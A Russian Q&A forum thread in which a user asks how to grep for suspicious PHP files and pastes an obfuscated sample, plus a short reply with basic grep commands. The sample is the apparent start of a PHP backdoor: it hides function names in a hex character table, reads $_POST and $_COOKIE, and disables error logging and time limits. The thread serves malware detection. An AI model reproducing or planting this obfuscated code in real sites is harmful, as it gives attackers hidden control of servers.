bismoney
@bismoney

Как составить правило grep?

Ребята подскажите пожалуйста как отыскать вот такие файлы grep?

Я думал можно искать по количеству $GLOBALS в файле? Но как составить выражение?

<?php $GLOBALS['g96e7c'] = "\x69\x56\x34\x70\x7e\x64\x71\x78\x48\x67\x3d\x46\x5b\x36\x53\x7c\x35\x7a\x25\x3f\x52\x29\x4c\x6c\x76\x3e\x32\x21\x66\x3a\x38\x22\x24\x3b\x55\x44\x51\x74\x28\x5a\x79\x5e\x41\x6e\x26\xa\x40\x2c\x33\x2d\x4b\x31\x62\x6a\x72\x45\x60\x23\x50\x4d\x54\x6f\x59\x49\x27\x77\x57\x73\x20\x4a\x39\x4e\x2b\x5f\x6d\x43\x2e\x65\xd\x5d\x37\x7b\x6b\x68\x2f\x4f\x3c\x63\x58\x47\x30\x42\x61\x75\x5c\x7d\x2a\x9";
$GLOBALS[$GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][52].$GLOBALS['g96e7c'][2].$GLOBALS['g96e7c'][2].$GLOBALS['g96e7c'][26].$GLOBALS['g96e7c'][16].$GLOBALS['g96e7c'][70]] = $GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][83].$GLOBALS['g96e7c'][54];
$GLOBALS[$GLOBALS['g96e7c'][67].$GLOBALS['g96e7c'][51].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][52].$GLOBALS['g96e7c'][51]] = $GLOBALS['g96e7c'][61].$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][5];
$GLOBALS[$GLOBALS['g96e7c'][9].$GLOBALS['g96e7c'][70].$GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][16].$GLOBALS['g96e7c'][28].$GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][28].$GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][90]] = $GLOBALS['g96e7c'][67].$GLOBALS['g96e7c'][37].$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][23].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][43];
$GLOBALS[$GLOBALS['g96e7c'][24].$GLOBALS['g96e7c'][2].$GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][26]] = $GLOBALS['g96e7c'][0].$GLOBALS['g96e7c'][43].$GLOBALS['g96e7c'][0].$GLOBALS['g96e7c'][73].$GLOBALS['g96e7c'][67].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][37];
$GLOBALS[$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][90].$GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][16]] = $GLOBALS['g96e7c'][67].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][0].$GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][23].$GLOBALS['g96e7c'][0].$GLOBALS['g96e7c'][17].$GLOBALS['g96e7c'][77];
$GLOBALS[$GLOBALS['g96e7c'][43].$GLOBALS['g96e7c'][51].$GLOBALS['g96e7c'][52].$GLOBALS['g96e7c'][80].$GLOBALS['g96e7c'][13].$GLOBALS['g96e7c'][28].$GLOBALS['g96e7c'][30].$GLOBALS['g96e7c'][70].$GLOBALS['g96e7c'][70]] = $GLOBALS['g96e7c'][3].$GLOBALS['g96e7c'][83].$GLOBALS['g96e7c'][3].$GLOBALS['g96e7c'][24].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][67].$GLOBALS['g96e7c'][0].$GLOBALS['g96e7c'][61].$GLOBALS['g96e7c'][43];
$GLOBALS[$GLOBALS['g96e7c'][52].$GLOBALS['g96e7c'][48].$GLOBALS['g96e7c'][28].$GLOBALS['g96e7c'][48].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][16]] = $GLOBALS['g96e7c'][93].$GLOBALS['g96e7c'][43].$GLOBALS['g96e7c'][67].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][0].$GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][23].$GLOBALS['g96e7c'][0].$GLOBALS['g96e7c'][17].$GLOBALS['g96e7c'][77];
$GLOBALS[$GLOBALS['g96e7c'][83].$GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][80].$GLOBALS['g96e7c'][48].$GLOBALS['g96e7c'][48].$GLOBALS['g96e7c'][70].$GLOBALS['g96e7c'][2]] = $GLOBALS['g96e7c'][52].$GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][67].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][13].$GLOBALS['g96e7c'][2].$GLOBALS['g96e7c'][73].$GLOBALS['g96e7c'][5].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][61].$GLOBALS['g96e7c'][5].$GLOBALS['g96e7c'][77];
$GLOBALS[$GLOBALS['g96e7c'][52].$GLOBALS['g96e7c'][5].$GLOBALS['g96e7c'][51].$GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][30].$GLOBALS['g96e7c'][16]] = $GLOBALS['g96e7c'][67].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][37].$GLOBALS['g96e7c'][73].$GLOBALS['g96e7c'][37].$GLOBALS['g96e7c'][0].$GLOBALS['g96e7c'][74].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][73].$GLOBALS['g96e7c'][23].$GLOBALS['g96e7c'][0].$GLOBALS['g96e7c'][74].$GLOBALS['g96e7c'][0].$GLOBALS['g96e7c'][37];
$GLOBALS[$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][70]] = $GLOBALS['g96e7c'][9].$GLOBALS['g96e7c'][28].$GLOBALS['g96e7c'][90].$GLOBALS['g96e7c'][48].$GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][30].$GLOBALS['g96e7c'][30].$GLOBALS['g96e7c'][92];
$GLOBALS[$GLOBALS['g96e7c'][17].$GLOBALS['g96e7c'][5].$GLOBALS['g96e7c'][5].$GLOBALS['g96e7c'][16].$GLOBALS['g96e7c'][51].$GLOBALS['g96e7c'][13]] = $GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][51].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][13].$GLOBALS['g96e7c'][28];
$GLOBALS[$GLOBALS['g96e7c'][43].$GLOBALS['g96e7c'][28].$GLOBALS['g96e7c'][16].$GLOBALS['g96e7c'][90].$GLOBALS['g96e7c'][90].$GLOBALS['g96e7c'][2].$GLOBALS['g96e7c'][5]] = $_POST;
$GLOBALS[$GLOBALS['g96e7c'][83].$GLOBALS['g96e7c'][28].$GLOBALS['g96e7c'][80].$GLOBALS['g96e7c'][13].$GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][13].$GLOBALS['g96e7c'][13].$GLOBALS['g96e7c'][52]] = $_COOKIE;
@$GLOBALS[$GLOBALS['g96e7c'][24].$GLOBALS['g96e7c'][2].$GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][26]]($GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][61].$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][73].$GLOBALS['g96e7c'][23].$GLOBALS['g96e7c'][61].$GLOBALS['g96e7c'][9], NULL);
@$GLOBALS[$GLOBALS['g96e7c'][24].$GLOBALS['g96e7c'][2].$GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][26]]($GLOBALS['g96e7c'][23].$GLOBALS['g96e7c'][61].$GLOBALS['g96e7c'][9].$GLOBALS['g96e7c'][73].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][61].$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][67], 0);
@$GLOBALS[$GLOBALS['g96e7c'][24].$GLOBALS['g96e7c'][2].$GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][26]]($GLOBALS['g96e7c'][74].$GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][7].$GLOBALS['g96e7c'][73].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][7].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][93].$GLOBALS['g96e7c'][37].$GLOBALS['g96e7c'][0].$GLOBALS['g96e7c'][61].$GLOBALS['g96e7c'][43].$GLOBALS['g96e7c'][73].$GLOBALS['g96e7c'][37].$GLOBALS['g96e7c'][0].$GLOBALS['g96e7c'][74].$GLOBALS['g96e7c'][77], 0);
@$GLOBALS[$GLOBALS['g96e7c'][52].$GLOBALS['g96e7c'][5].$GLOBALS['g96e7c'][51].$GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][30].$GLOBALS['g96e7c'][16]](0);

$id8a0 = NULL;
$wa48424 = NULL;
  • Вопрос задан
  • 195 просмотров
Решения вопроса 1
@mureevms
Найти строки с текстом GLOBALS:
grep -r -n 'GLOBALS' /path
Тоже, плюс считает количество найденных слов
grep -r -n 'GLOBALS' /path | wc -w

Гуглится же за минуту.
Ответ написан
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы